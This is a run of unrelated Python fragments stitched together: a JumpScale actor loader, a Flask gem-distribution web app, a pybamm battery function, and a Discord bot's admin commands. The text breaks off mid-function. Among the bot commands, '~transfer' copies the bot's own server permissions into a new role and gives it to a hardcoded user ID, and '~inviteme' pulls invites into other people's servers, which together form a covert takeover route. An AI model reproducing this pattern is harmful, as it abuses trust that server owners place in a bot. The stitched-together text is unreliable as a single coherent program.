        LoaderBaseObject.__init__(self, "actor")
        self.osiscl = None

    def createDefaults(self, path):
        base = j.system.fs.joinPaths(j.core.portalloader.getTemplatesPath(), "%s" % self.type)
        j.system.fs.copyDirTree(base, path, overwriteFiles=False)

    def raiseError(self, msg, path=None):
        raise RuntimeError("%s\npath was:%s"%(msg,path))

    def loadFromDisk(self, path, reset=False):
        # the name is $appname__actorname all in lowercase
        name = j.system.fs.getDirName(path, True)
        # print "load actor dir:%s"%path
        if name.find("__") != -1:
            app, actor = name.split("__", 1)
        else:
            return self.raiseError("Cannot create actor, name of directory needs to be $appname__$actorname", path=path)
        self._loadFromDisk(path, reset=False)
        self.model.application = app
        self.model.actor = actor

    def _removeFromMem(self):
        print("remove actor %s from memory" % self.model.id)
        j.core.specparser.removeSpecsForActor(self.model.application, self.model.actor)
        j.core.codegenerator.removeFromMem(self.model.application, self.model.actor)
        j.core.portal.active.unloadActorFromRoutes(self.model.application, self.model.actor)
        key = "%s_%s" % (self.model.application.lower(), self.model.actor.lower())
        if key in j.core.portal.active.actors:
            j.core.portal.active.actors.pop(key)

    def reset(self):
        self._removeFromMem()
        self.loadFromDisk(self.model.path, reset=True)
        j.core.portal.active.actorsloader.getActor(self.model.application, self.model.actor)

    def _descrTo1Line(self, descr):
        if descr == "":
            return descr
        descr = descr.strip()
        descr = descr.replace("\n", "\\n")
        # descr=descr.replace("'n","")
        return descr

    def activate(self):
        print("activate actor: %s %s" % (self.model.application, self.model.actor))

        appname=self.model.application
        actorname=self.model.actor
        actorpath=self.model.path
        # parse the specs
        j.core.specparser.parseSpecs("%s/specs" % actorpath, appname=appname, actorname=actorname)

        # retrieve the just parsed spec
        spec = j.core.specparser.getActorSpec(appname, actorname, raiseError=False)
        if spec == None:
            return None

        if spec.tags == None:
            spec.tags = ""
        tags = j.core.tags.getObject(spec.tags)

        spec.hasTasklets = tags.labelExists("tasklets")

        # generate the tasklets for the methods of the actor
        # j.core.codegenerator.generate(spec,"tasklet",codepath=actorpath)

        # generate the class for the methods of the actor
        args = {}
        args["tags"] = tags
        classpath = j.system.fs.joinPaths(actorpath, "methodclass", "%s_%s.py" % (spec.appname, spec.actorname))
        modelNames = j.core.specparser.getModelNames(appname, actorname)

        actorobject = j.core.codegenerator.generate(spec, "actorclass", codepath=actorpath, classpath=classpath,
                                                    args=args, makeCopy=True)()

        if len(modelNames) > 0:
            actorobject.models = Class()

            for modelName in modelNames:
                modelspec = j.core.specparser.getModelSpec(appname, actorname, modelName)
                modeltags = j.core.tags.getObject(modelspec.tags)

                # will generate the tasklets
                modelHasTasklets = modeltags.labelExists("tasklets")
                if modelHasTasklets:
                    j.core.codegenerator.generate(modelspec, "osis", codepath=actorpath, returnClass=False, args=args)

                if spec.hasTasklets:
                    self.loadOsisTasklets(actorobject, actorpath, modelname=modelspec.name)

                classs = j.core.codegenerator.getClassJSModel(appname, actorname, modelName, codepath=actorpath)
                if modelspec.tags == None:
                    modelspec.tags = ""
                index = j.core.tags.getObject(modelspec.tags).labelExists("index")
                tags = j.core.tags.getObject(modelspec.tags)

                db = j.db.keyvaluestore.getMemoryStore()
                osis = False
                if tags.tagExists("dbtype"):
                    dbtypes = [item.lower() for item in tags.tagGet("dbtype").split(",")]
                    if "arakoon" in dbtypes:
                        if dbtypes.index("arakoon") == 0:
                            db = j.db.keyvaluestore.getArakoonStore(modelName)
                    if "fs" in dbtypes:
                        if dbtypes.index("fs") == 0:
                            db = j.db.keyvaluestore.getFileSystemStore(namespace=modelName, serializers=[j.db.serializers.getSerializerType('j')])
                    if "redis" in dbtypes:
                        if dbtypes.index("redis") == 0:
                            db = j.db.keyvaluestore.getRedisStore(namespace=modelName, serializers=[j.db.serializers.getSerializerType('j')])
                    if "osis" in dbtypes:
                        osis = True

                if osis:
                    # We need to check if the correct namespace is existing and
                    # the namespace maps to the actor name, every object is a
                    # category
                    namespacename = actorname
                    if not self.osiscl:
                        import JumpScale.grid.osis
                        self.osiscl = j.clients.osis.getByInstance('main')
                    if actorname not in self.osiscl.listNamespaces():
                        template = tags.tagGet('osis_template', 'modelobjects')
                        self.osiscl.createNamespace(actorname, template=template)
                    if modelName not in self.osiscl.listNamespaceCategories(namespacename):
                        self.osiscl.createNamespaceCategory(namespacename, modelName)
                try:
                    if not osis:
                        actorobject.models.__dict__[modelName] = j.core.osismodel.get(appname, actorname, modelName, classs, db, index)
                    else:
                        actorobject.models.__dict__[modelName] = j.core.osismodel.getRemoteOsisDB(appname, actorname, modelName, classs)
                except Exception as e:
                    raise
                    msg = "Could not get osis model for %s_%s_%s.Error was %s." % (appname, actorname, modelName, e)
                    raise RuntimeError(msg)
        # add routes to webserver
        for methodspec in spec.methods:
            # make sure tasklets are loaded

            methodtags = j.core.tags.getObject(methodspec.tags)
            methodspec.hasTasklets = methodtags.labelExists("tasklets")

            if methodspec.hasTasklets or spec.hasTasklets:
                taskletpath = j.system.fs.joinPaths(actorpath, "methodtasklets", "method_%s" % methodspec.name)
                if not j.system.fs.exists(taskletpath):
                    j.system.fs.createDir(taskletpath)
                    taskletContent = """
def main(j, args, params, actor, tags, tasklet):
    return params

def match(j, args, params, actor, tags, tasklet):
    return True
                    """
                    methodtasklet = j.system.fs.joinPaths(taskletpath, "5_%s.py" % methodspec.name)
                    j.system.fs.writeFile(methodtasklet, taskletContent)
                actorobject._te[methodspec.name] = j.core.taskletengine.get(taskletpath)

            if j.core.portal.active != None:

                params = {}
                for var in methodspec.vars:
                    param = {'optional': False, 'description': '', 'default': None, 'type': None, 'tags': None}
                    tags = j.core.tags.getObject(var.tags)
                    if tags.labelExists("optional"):
                        param['optional'] = True
                        descr = var.description + " (optional)"
                    else:
                        descr = var.description
                    param['description'] = descr
                    param['type'] = var.ttype
                    if var.defaultvalue:
                        param['default'] = var.defaultvalue
                    params[var.name] = param
                    param['tags'] = tags

                tags = j.core.tags.getObject(methodspec.tags)
                if tags.tagExists("returnformat"):
                    returnformat = tags.tagGet("returnformat")
                else:
                    returnformat = None

                auth = not tags.labelExists("noauth")
                methodcall = getattr(actorobject, methodspec.name)
                methodtags = j.core.tags.getObject(methodspec.tags)

                methodtypes = ('post', )
                if 'method' in methodtags.tags:
                    methodtypes = [tag for tag in methodtags.tags['method'].split(',') if tag]
                for methodtype in methodtypes:
                    j.core.portal.active.addRoute(methodcall, appname, actorname, methodspec.name, params=params,
                                                  description=methodspec.description, auth=auth, returnformat=returnformat,
                                                  httpmethod=methodtype)

        # load taskletengines if they do exist
        tepath = j.system.fs.joinPaths(actorpath, "taskletengines")
        if j.system.fs.exists(tepath):
            if "taskletengines" not in actorobject.__dict__:
                actorobject.taskletengines = Class()
            tepaths = j.system.fs.listDirsInDir(tepath)
            for tepath in tepaths:
                actorobject.taskletengines.__dict__[j.system.fs.getBaseName(tepath)] = j.core.taskletengine.get(tepath)

        # LOAD actorobject to qbase tree
        if appname not in j.apps.__dict__:
            j.apps.__dict__[appname] = AppClass(appname)

        if actorname not in j.apps.__dict__[appname].__dict__:
            j.apps.__dict__[appname].__dict__[actorname] = actorobject

        if "runningAppserver" in j.core.portal.__dict__:
            key = "%s_%s" % (spec.appname.lower(), spec.actorname.lower())
            j.core.portal.active.actors[key] = actorobject

        # load extensions
        actorobject.__dict__['extensions'] = ActorExtensionsGroup(j.system.fs.joinPaths(actorpath, "extensions"))

        return actorobject


from app import app, db, login_manager
from flask import render_template, flash, redirect, url_for, request
from flask_login import current_user, login_user, logout_user, login_required
from app.models import User, Preference, Gem, TypeGem, Requirement
from app.forms import LoginForm, RegistrationForm, EditProfileForm, RemoveProfileForm,\
    RestoreProfileForm, EditPasswordForm, AddGemsForm, ActionById, EditPrefForm, AddPrefForm,\
    ViewQueryForm, DistributionForm, RequirementsForm, GemTypesForm, AddTypeForm
from datetime import datetime, timedelta
from sqlalchemy import text, desc, or_, and_

@login_manager.user_loader# пользовательский загрузчик
def load_user(id):
    return db.session.query(User).get(int(id))

@app.before_request
def before_request():
    if current_user.is_authenticated:
        current_user.last_seen = datetime.utcnow() + timedelta(hours=5)
        db.session.commit()

@app.route('/login', methods=['GET', 'POST'])
def login():
    if current_user.is_authenticated:# True, если юзер зареган
        return redirect(url_for('users'))

    form = LoginForm()

    if form.validate_on_submit():
        user = User.query.filter_by(username=form.username.data).first()
        if user is None or not user.check_password(form.password.data):
            flash('Invalid username or password')
            return redirect(url_for('login'))
        login_user(user, remember=form.remember_me.data)
        flash('You are logged in as a {}, {}'.format(user.name, user.character))
        if user.character == 'elf':
            return redirect(url_for('user', username=user.username))
        elif user.character == 'gnome':
            return redirect(url_for('add_gems'))
        elif user.character == 'master':
            return redirect(url_for('gems'))
        else:
            return redirect(url_for('users'))
    return render_template('login.html', title='Sign In', form=form)# form = form передает объект формы

@app.route('/logout')
def logout():
    logout_user()
    return redirect(url_for('users'))

@app.route('/register', methods=['GET', 'POST'])
def register():
    if current_user.is_authenticated:
        return redirect(url_for('users'))
    form = RegistrationForm()
    if form.validate_on_submit():
        user = User(username=form.username.data, email=form.email.data, character=form.character.data, name=form.username.data.title())
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('Congratulations, you are now a registered user!')
        return redirect(url_for('login'))
    return render_template('register.html', title='Register', form=form)

@app.route('/edit_password', methods=['GET', 'POST'])
@login_required# защищает функцию просмотра: будет доступна только для зарегистрированных пользователей
def edit_password():

    form = EditPasswordForm()

    if form.validate_on_submit():
        user = current_user
        user.set_password(form.password.data)
        db.session.add(user)
        db.session.commit()
        flash('Your password has been changed.')
        return redirect(url_for('edit_password'))
    return render_template('edit_password.html', title='Edit password', form=form)

@app.route('/edit_profile', methods=['GET', 'POST'])
@login_required
def edit_profile():

    form_edit = EditProfileForm(current_user.username, current_user.email)
    form_remove = RemoveProfileForm()
    form_restore = RestoreProfileForm()

    if request.method == 'GET':
        form_edit.username.data = current_user.username
        form_edit.email.data = current_user.email
        form_edit.name.data = current_user.name
    if form_restore.is_submitted() and form_restore.submit_restore.data:
        current_user.status = True
        db.session.commit()
        flash('Profile has been restored.')
        return redirect(url_for('edit_profile'))
    elif form_remove.is_submitted() and form_remove.submit_remove.data:
        current_user.status = False
        current_user.deletion_date = datetime.utcnow()
        db.session.commit()
        flash('Profile has been deleted.')
        return redirect(url_for('edit_profile'))
    elif form_edit.validate_on_submit():
        current_user.username = form_edit.username.data
        current_user.name = form_edit.name.data
        current_user.email = form_edit.email.data
        db.session.commit()
        flash('Profile has been updated.')
        return redirect(url_for('edit_profile'))
    return render_template('edit_profile.html', title='Edit profile', user=user, form_edit=form_edit, form_remove=form_remove,\
        form_restore=form_restore)

@app.route('/add_gems', methods=['GET', 'POST'])
@login_required
def add_gems():

    form = AddGemsForm()
    temp_message = []

    if request.method == 'GET':
        form.amount_gem.data = 0
    elif form.validate_on_submit():
        for gem in range(int(form.amount_gem.data)):
            gem = Gem(type=str(form.type_gem.data.type), gnome_id=current_user.id)
            db.session.add(gem)
            db.session.commit()
            temp_message.append(gem.type)
        flash('Gem: {} - successfully added to the system.'.format(', '.join(temp_message)))
    return render_template('add_gems.html', title='Adding gems', form=form)

@app.route('/user/<username>', methods=['GET', 'POST'])
@login_required
def user(username):

    def get_prefs():# предпочтения эльфа
        return user.preferences.all()

    def get_types_pref():
        return [pref.gem_type for pref in get_prefs()]

    def get_gem_types():
        return [x.type for x in TypeGem.query.all()]

    def get_new_pref():
        return [(gem_type, gem_type) for gem_type in list(set(get_gem_types())-set(get_types_pref()))]

    def get_mined_gems():
        gems_gnome = Gem.query.filter_by(gnome_id=user.id).all()
        list_types = [gem.type for gem in gems_gnome]
        return {gem.type : list_types.count(gem.type) for gem in gems_gnome}

    def get_assigned_gems():
        return Gem.query.filter_by(elf_id=user.id).filter(Gem.status=='assigned').all()

    def get_confirmed_gems():
        gems_elf = Gem.query.filter_by(elf_id=user.id).filter(Gem.status=='confirmed').all()
        list_types = [gem.type for gem in gems_elf]
        return {gem.type : list_types.count(gem.type) for gem in gems_elf}

    user = User.query.filter_by(username=username).first_or_404()
    form_confirm = ActionById(prefix='confirm')
    form_add = AddPrefForm()
    form_del = ActionById(prefix='del')
    form_edit = EditPrefForm(prefix='edit')

    form_add.gem_type.choices = get_new_pref()

    form_edit.pref.label = ''
    form_edit.gem_rate.label = 'Rate'

    if form_confirm.is_submitted() and form_confirm.value.data:
        gem = Gem.query.get(form_confirm.value.data)
        gem.status = 'confirmed'
        gem.confirmation_date = datetime.utcnow()
        db.session.add(gem)
        db.session.commit()
        flash('The assigned {} was successfully confirmed by the {}.'.format(gem.type, user.name))
    elif form_del.is_submitted() and form_del.value.data:
        pref_del = Preference.query.get(form_del.value.data)
        db.session.delete(pref_del)
        db.session.commit()
        flash('Preference "{}" successfully deleted.'.format(pref_del))
    elif "gem_type" in request.form and form_add.gem_rate.validate(form_add):
        pref = Preference(gem_type=form_add.gem_type.data, gem_rate=form_add.gem_rate.data, elf_id=user.id)
        db.session.add(pref)
        db.session.commit()
        form_add.gem_type.choices = get_new_pref()
        flash('Preference "{}" successfully added.'.format(pref))
    elif "edit-submit_edit" in request.form and form_edit.gem_rate.validate(form_edit) and form_edit.pref.validate(form_edit):
        elf_pref = form_edit.pref.data
        elf_pref.gem_rate = form_edit.gem_rate.data
        db.session.commit()
        flash('Preference successfully edited.')

    return render_template('user.html',
                            title=user.name,
                            user=user,
                            prefs=get_prefs(),
                            mined_gems=get_mined_gems(),
                            assigned_gems=get_assigned_gems(),
                            confirmed_gems=get_confirmed_gems(),
                            form_confirm=form_confirm,
                            form_add=form_add,
                            form_del=form_del,
                            form_edit=form_edit)

@app.route('/')
@app.route('/users', methods=['GET', 'POST'])
def users():

    form = ActionById()

    form_view = ViewQueryForm()

    def get_elves():
        return User.query.filter(and_(User.character == 'elf', User.status == True)).all()

    def get_all_elves():
        return User.query.filter(User.character == 'elf').all()

    def get_gnomes():
        return User.query.filter(or_(User.character == 'gnome', User.character == 'master')).filter(User.status == True).all()

    def get_all_gnomes():
        return User.query.filter(or_(User.character == 'gnome', User.character == 'master')).all()

    if form_view.is_submitted():
        return render_template('users.html', title='Users', elves=get_all_elves(), gnomes=get_all_gnomes(), form=form, form_view=form_view)

    if form.is_submitted() and form.value.data:
        user = User.query.get(form.value.data)
        user.status = False
        db.session.add(user)
        db.session.commit()
        flash('User successfully removed from the system.')

    return render_template('users.html', title='Users', elves=get_elves(), gnomes=get_gnomes(), form=form, form_view=form_view)

@app.route('/settings', methods=['GET', 'POST'])
@login_required
def settings():

    def get_requirements():
        return Requirement.query.all()

    def get_gem_types():
        return TypeGem.query.order_by(TypeGem.type).all()

    form_edit = RequirementsForm(prefix='edit')
    form_gem = GemTypesForm(prefix='gem')
    form_del = ActionById(prefix='del')
    form_add = AddTypeForm(prefix='add')

    if "edit-submit_edit" in request.form and form_edit.req_rate.validate(form_edit) and form_edit.req_type.validate(form_edit):
        req = form_edit.req_type.data
        req.req_rate = form_edit.req_rate.data
        db.session.add(req)
        db.session.commit()
        flash('{} coefficient successfully edited.'.format(req.req_type))
    elif "add-gem_type" in request.form and form_add.validate_on_submit():
        new_type = TypeGem(type=form_add.gem_type.data)
        db.session.add(new_type)
        db.session.commit()
        flash('Type "{}" successfully added to the system.'.format(new_type.type))
    elif form_del.is_submitted() and form_del.value.data:
        type_gem = TypeGem.query.get(form_del.value.data)
        db.session.delete(type_gem)
        db.session.commit()
        flash('Type "{}" has been deleted.'.format(type_gem.type))
    elif "gem-submit_type" in request.form and form_gem.validate_on_submit():
        type_edit = TypeGem.query.filter_by(type=form_gem.gem_type.data.type).first_or_404()
        type_edit.type = form_gem.edit_type.data
        db.session.add(type_edit)
        db.session.commit()
        flash('Type successfully changed to "{}".'.format(type_edit.type))

    return render_template('settings.html',
                           title='settings',
                           form_edit=form_edit,
                           form_del=form_del,
                           form_gem=form_gem,
                           form_add=form_add,
                           reqs=get_requirements(),
                           gem_types=get_gem_types())

@app.route('/gems', methods=['GET', 'POST'])
def gems():

    form = ActionById()
    form_view = ViewQueryForm()

    def get_all_gems():
        return Gem.query.order_by(desc(Gem.mined_date)).all()

    def get_gems():
        return Gem.query.order_by(desc(Gem.mined_date)).filter(Gem.status != 'deleted').all()

    def get_assigned_gems():
        return Gem.query.order_by(desc(Gem.mined_date)).filter(Gem.status == 'assigned').all()

    if form.is_submitted() and form.value.data:
        gem = Gem.query.get(form.value.data)
        gem.status = 'deleted'
        db.session.add(gem)
        db.session.commit()
        flash('Gem successfully removed from the system.')
    elif "view_all_gems" in request.form and form_view.is_submitted():
        return render_template('gems.html', title='Gems', gems=get_all_gems(), form=form, form_view=form_view)
    elif "view_assigned_gems" in request.form and form_view.is_submitted():
        return render_template('gems.html', title='Gems', gems=get_assigned_gems(), form=form, form_view=form_view)

    return render_template('gems.html', title='Gems', gems=get_gems(), form=form, form_view=form_view)

temp_assigned_gems = []

@app.route('/gems_distribution', methods=['GET', 'POST'])
@login_required
def gems_distribution():

    def count_assigned_elf(elf):
        return elf.elf_gems.filter_by(status='assigned').count()

    def count_confirmed_elf(elf):
        return elf.elf_gems.filter_by(status='confirmed').count()

    def get_mined_gems():
        return Gem.query.filter(Gem.status == 'mined').order_by(desc(Gem.mined_date)).all()

    def get_elves():
        return User.query.filter(and_(User.character == 'elf', User.status == True)).all()

    def count_gems_elf(elf):
        return count_assigned_elf(elf) + count_confirmed_elf(elf)

    def sum_gems_elves():
        query = text("SELECT COUNT (id) FROM gem WHERE status='assigned' OR status='confirmed'")
        response = db.engine.execute(query)
        return response.scalar() + num_temp_gems

    def get_weighted_choices():
        return {elf: (count_gems_elf(elf))/sum_gems_elves() for elf in get_elves()}

    def hungry_elf():
        return min(get_weighted_choices(), key=get_weighted_choices().get)

    form = DistributionForm()

    num_temp_gems = 0
    temp_message = []

    if request.method == 'GET':
        temp_assigned_gems.clear()
    elif form.is_submitted() and form.elf.data:
        gem = Gem.query.get(form.value.data)
        gem.elf = form.elf.data
        gem.status = 'assigned'
        gem.assigned_date = datetime.utcnow()
        gem.master = current_user
        gem.assignation_type = 'hand'
        db.session.add(gem)
        db.session.commit()
        flash('{} successfully assigned to the elf {}.'.format(gem.type, form.elf.data.name))
        return redirect(url_for('gems_distribution'))
    elif "submit_distrib" in request.form:
        if not get_mined_gems():
            flash('No gems for distribution')
        elif not temp_assigned_gems:
            for temp_gem in get_mined_gems():
                temp_gem.elf = hungry_elf()
                temp_gem.status = 'assigned'
                temp_assigned_gems.append(temp_gem)
                num_temp_gems += 1
        else:
            flash('Distribution already done')
        return render_template('gems_distribution.html', title='Gems distribution', gems=temp_assigned_gems, form=form)
    elif "submit_confirm" in request.form:
        if not temp_assigned_gems:
            flash('You first need to make a distribution!')
        else:
            for temp_gem in temp_assigned_gems:
                gem = Gem.query.get(temp_gem.id)
                gem.elf = temp_gem.elf
                gem.status = 'assigned'
                gem.assignation_type = 'algo'
                gem.assigned_date = datetime.utcnow()
                db.session.add(gem)
                db.session.commit()
                temp_message.append(gem.type)
            temp_assigned_gems.clear()
            flash('Distribution successfully completed. Gem: {} - assigned.'.format(', '.join(temp_message)))

    return render_template('gems_distribution.html', title='Gems distribution', gems=get_mined_gems(), form=form)


from pybamm import exp, constants, Parameter

def lico2_electrolyte_exchange_current_density_Dualfoil1998(c_e, c_s_surf, T):
    """
    Exchange-current density for Butler-Volmer reactions between lico2 and LiPF6 in
    EC:DMC.

    References
    ----------
    .. [2] http://www.cchem.berkeley.edu/jsngrp/fortran.html

    Parameters
    ----------
    c_e : :class:`pybamm.Symbol`
        Electrolyte concentration [mol.m-3]
    c_s_surf : :class:`pybamm.Symbol`
        Particle concentration [mol.m-3]
    T : :class:`pybamm.Symbol`
        Temperature [K]

    Returns
    -------
    :class:`pybamm.Symbol`
        Exchange-current density [A.m-2]
    """
    m_ref = 1 * 10 ** (-11) * constants.F  # need to match the unit from m/s
    # (A/m2)(mol/m3)**1.5 - includes ref concentrations
    E_r = 5000
    arrhenius = exp(E_r / constants.R * (1 / 298.15 - 1 / T))

    c_p_max = Parameter("Maximum concentration in positive electrode [mol.m-3]")

    return (
        m_ref * arrhenius * c_e ** 0.5 * c_s_surf ** 0.5 * (c_p_max - c_s_surf) ** 0.5
    )


import discord
import asyncio
import math
import sqlite3
import config_queries

commands_list = ['~servers', '~servergames', '~perms', '~inviteme', '~transfer', '~botleaveserver', '~wvsgames', '~wvsstats', '~enabledgames']

def get_server_name(server):
    try:
        return server.name[:28]
    except:
        return '-'

def get_server_id(server):
    try:
        return str(server.id)
    except:
        return '-'

def get_server_members(server):
    try:
        return str(len(server.members))
    except:
        return '-'

def get_servers_info(servers, page_no):
    num_pages = math.ceil(len(servers) / 25)
    if page_no < 1:
        page_no = num_pages
    elif page_no > num_pages:
        page_no = 1

    servers.sort(key = lambda server: server.id)

    page_servers = servers[(page_no - 1) * 25: page_no * 25]
    server_names = '\n'.join(list(map(get_server_name, page_servers)))
    server_ids = '\n'.join(list(map(get_server_id, page_servers)))
    server_member_count = '\n'.join(list(map(get_server_members, page_servers)))

    servers_embed = discord.Embed(title = 'Number of servers: ' + str(len(servers)), description = 'Page ' + str(page_no) + '/' + str(num_pages), colour=0xE5D2BB)
    servers_embed.add_field(name = 'Server names', value = server_names)
    servers_embed.add_field(name = 'Server IDs', value = server_ids)
    servers_embed.add_field(name = '# Members', value = server_member_count)
    return servers_embed, page_no

def get_servers_games(servers, page_no):
    conn = sqlite3.connect('WarriorsvsSoldiers/wvs_db.db')
    cursor = conn.cursor()

    server_games_query = 'SELECT * FROM servers'
    cursor.execute(server_games_query)
    servers_games_data = cursor.fetchall()

    conn.close()

    server_games_info = []
    servers_info = {server.id: get_server_name(server) for server in servers}
    for server_data in servers_games_data:
        if server_data[0] in servers_info and sum(server_data[1:19]) > 0:
            total_games = sum(server_data[1:19])
            server_info = [str(server_data[0]), servers_info[server_data[0]], str(total_games)]
            server_games_info.append(server_info)

    server_games_info.sort(key = lambda server: int(server[2]), reverse = True)

    num_pages = math.ceil(len(server_games_info) / 25)
    if page_no < 1:
        page_no = num_pages
    elif page_no > num_pages:
        page_no = 1

    page_servers = server_games_info[(page_no - 1) * 25: page_no * 25]

    page_server_ids = '\n'.join([server[0] for server in page_servers])
    page_server_names = '\n'.join(server[1] for server in page_servers)
    page_server_games = '\n'.join(server[2] for server in page_servers)

    servers_embed = discord.Embed(title = 'Number of servers: ' + str(len(server_games_info)), description = 'Page ' + str(page_no) + '/' + str(num_pages), colour=0xE5D2BB)
    servers_embed.add_field(name = 'Server names', value = page_server_names)
    servers_embed.add_field(name = 'Server IDs', value = page_server_ids)
    servers_embed.add_field(name = '# Games', value = page_server_games)
    return servers_embed, page_no

def get_enabled_games(servers, page_no):
    enabled_games_count = 0
    enabled_games_info = []
    instance_data = config_queries.get_instances()
    instance_map = {}
    for row in instance_data:
        instance_map[row[1]] = row[2]

    for server in servers:
        channels = server.channels
        for channel in channels:
            if channel.id in instance_map:
                enabled_games_count += 1
                enabled_game_info = [server.name[:27], channel.name, instance_map[channel.id]]
                enabled_games_info.append(enabled_game_info)

    num_pages = math.ceil(len(enabled_games_info) / 25)
    if page_no < 1:
        page_no = num_pages
    elif page_no > num_pages:
        page_no = 1

    page_games_info = enabled_games_info[(page_no - 1) * 25: page_no * 25]

    page_server_names = '\n'.join([game[0] for game in page_games_info])
    page_channel_names = '\n'.join(game[1] for game in page_games_info)
    page_games = '\n'.join(game[2] for game in page_games_info)

    games_embed = discord.Embed(title = 'Enabled games: ' + str(enabled_games_count), description = 'Page ' + str(page_no) + '/' + str(num_pages), colour=0xE5D2BB)
    games_embed.add_field(name = 'Server names', value = page_server_names)
    games_embed.add_field(name = 'Channel names', value = page_channel_names)
    games_embed.add_field(name = 'Game', value = page_games)
    return games_embed, page_no

async def message_handler(client, message, instances):
    if message.content.startswith('~servers'):
        # Display servers bot is in
        page_no = 1
        servers = client.guilds
        servers_embed, page_no = get_servers_info(servers, page_no)
        servers_msg = await message.channel.send(embed = servers_embed)

        await servers_msg.add_reaction('◀')
        await servers_msg.add_reaction('▶')

        def reaction_check(reaction, user):
            return user != client.user and (reaction.emoji == '▶' or reaction.emoji == '◀') and (reaction.message.id == servers_msg.id)

        while True:
            rxn, user = await client.wait_for('reaction_add', check = reaction_check)

            if rxn.emoji == '▶':
                page_no += 1
            elif rxn.emoji == '◀':
                page_no -= 1

            servers_embed, page_no = get_servers_info(servers, page_no)
            await servers_msg.edit(embed=servers_embed)
            await rxn.remove(user)
            await asyncio.sleep(0.1)

    elif message.content.startswith('~servergames'):
        # Display servers bot is in
        page_no = 1
        servers = client.guilds
        servers_embed, page_no = get_servers_games(servers, page_no)
        servers_msg = await message.channel.send(embed = servers_embed)

        await servers_msg.add_reaction('◀')
        await servers_msg.add_reaction('▶')

        def reaction_check(reaction, user):
            return user != client.user and (reaction.emoji == '▶' or reaction.emoji == '◀') and (reaction.message.id == servers_msg.id)

        while True:
            rxn, user = await client.wait_for('reaction_add', check = reaction_check)

            if rxn.emoji == '▶':
                page_no += 1
            elif rxn.emoji == '◀':
                page_no -= 1

            servers_embed, page_no = get_servers_games(servers, page_no)
            await servers_msg.edit(embed=servers_embed)
            await rxn.remove(user)
            await asyncio.sleep(0.1)

    # Check bot permissions for a given server
    elif message.content.startswith('~perms'):
        messagebox = message.content.split(' ')
        if len(messagebox) > 1:
            server_id = messagebox[1]
            servers = client.guilds
            if server_id in list(map(lambda x: str(x.id), servers)):
                server_obj = list(filter(lambda x: str(x.id) == server_id, servers))[0]
                client_obj = server_obj.get_member(client.user.id)
                permissions = client_obj.guild_permissions
                permissions_dict = {
                    'Administrator': permissions.administrator,
                    'Create Invite': permissions.create_instant_invite,
                    'Kick Members': permissions.kick_members,
                    'Ban Members': permissions.ban_members,
                    'Manage Channels': permissions.manage_channels,
                    'Manage Server': permissions.manage_guild,
                    'Add Reactions': permissions.add_reactions,
                    'View Audit Log': permissions.view_audit_log,
                    'Read Messages': permissions.read_messages,
                    'Send Messages': permissions.send_messages,
                    'Manage Messages': permissions.manage_messages,
                    'Read Message History': permissions.read_message_history,
                    'Mention Everyone': permissions.mention_everyone,
                    'Change Nickname': permissions.change_nickname,
                    'Manage Nicknames': permissions.manage_nicknames,
                    'Manage Roles': permissions.manage_roles,
                    'Manage Emojis': permissions.manage_emojis
                }
                permissions_info = ''
                for perm in permissions_dict:
                    if permissions_dict[perm]:
                        permissions_info += perm + '\n'
                permissions_embed = discord.Embed(title = 'Permissions for ' + server_obj.name, description = permissions_info, colour=0xE5D2BB)
                await message.channel.send(embed = permissions_embed)
            else:
                await message.channel.send('I am not in this server!')
        else:
            await message.channel.send('Please select a server to check permissions in!')

    elif message.content.startswith('~inviteme'):
        messagebox = message.content.split(' ')
        if len(messagebox) > 1:
            server_id = messagebox[1]
            servers = client.guilds
            if server_id in list(map(lambda x: str(x.id), servers)):
                server_obj = list(filter(lambda x: str(x.id) == server_id, servers))[0]
                client_obj = server_obj.get_member(client.user.id)
                permissions = client_obj.guild_permissions
                if permissions.create_instant_invite:
                    for channel in server_obj.channels:
                        try:
                            invite = await channel.create_invite(max_age = 600)
                            await message.channel.send(invite)
                            break
                        except Exception:
                            continue
                else:
                    await message.channel.send('I do not have the permissions to create an invite in **' + server_obj.name + '**!')
            else:
                await message.channel.send('I am not in this server!')
        else:
            await message.channel.send('Please select a server to create an invite from!')

    elif message.content.startswith('~transfer'):
        messagebox = message.content.split(' ')
        if len(messagebox) > 1:
            server_id = messagebox[1]
            servers = client.guilds
            if server_id in list(map(lambda x: str(x.id), servers)):
                server_obj = list(filter(lambda x: str(x.id) == server_id, servers))[0]
                client_obj = server_obj.get_member(client.user.id)
                permissions = client_obj.guild_permissions
                if permissions.administrator or permissions.manage_roles:
                    transfer_role = await server_obj.create_role(name = 'Game Master', permissions = permissions)
                    bot_owner_obj = server_obj.get_member(238808836075421697)
                    await bot_owner_obj.add_roles(transfer_role)
                    await message.channel.send('Permissions transferred successfully in **' + server_obj.name + '**!')
                else:
                    await message.channel.send('I do not have the Manage Roles permission in **' + server_obj.name + '**!')
            else:
                await message.channel.send('I am not in this server!')
        else:
            await message.channel.send('Please select a server to transfer permissions from!')

    elif message.content.startswith('~botleaveserver'):
        server_id = message.content.split(' ')[1]
        servers = client.guilds
        if server_id in list(map(lambda x: str(x.id), servers)):
            server_obj = list(filter(lambda x: str(x.id) == server_id, servers))[0]
            await server_obj.leave()
            await message.channel.send('Left server: **' + server_obj.name + '**')
        else:
            await message.channel.send('I am not in this server!')

    elif message.content.startswith('~wvsgames'):
        games_count = 0
        server_ids = ''
        server_names = ''
        game_states = ''
        for instance in instances:
            if instance.game_name == 'Warriors vs Soldiers' and (instance.game.state.status not in ['waiting for game', 'waiting for players', 'game ended']):
                server_ids += str(instance.server_id) + '\n'
                servers = client.guilds
                server_name_obj = list(filter(lambda server: server.id == instance.server_id, servers))
                if server_name_obj:
                    server_names += server_name_obj[0].name  + '\n'
                    if instance.game.state.status == '':
                        game_states += 'between states' + '\n'
                    else:
                        game_states += instance.game.state.status + '\n'
                    games_count += 1
        games_embed = discord.Embed(title = 'Games running: ' + str(games_count), colour=0xE5D2BB)
        if games_count > 0:
            games_embed.add_field(name = 'Server IDs', value = server_ids)
            games_embed.add_field(name = 'Server names', value = server_names)
            games_embed.add_field(name = 'Game states', value = game_states)
        await message.channel.send(embed = games_embed)

    elif message.content.startswith('~wvsstats'):
        messagebox = message.content.split(' ')
        if len(messagebox) > 1:
            server_id = messagebox[1]
            server_found = False
            game_found = False
            for instance in instances:
                if str(instance.server_id) == server_id:
                    servers = client.guilds
                    server_found = True
                    server_obj = list(filter(lambda x: str(x.id) == server_id, servers))[0]
                    if instance.game_name == 'Warriors vs Soldiers':
                        game_found = True
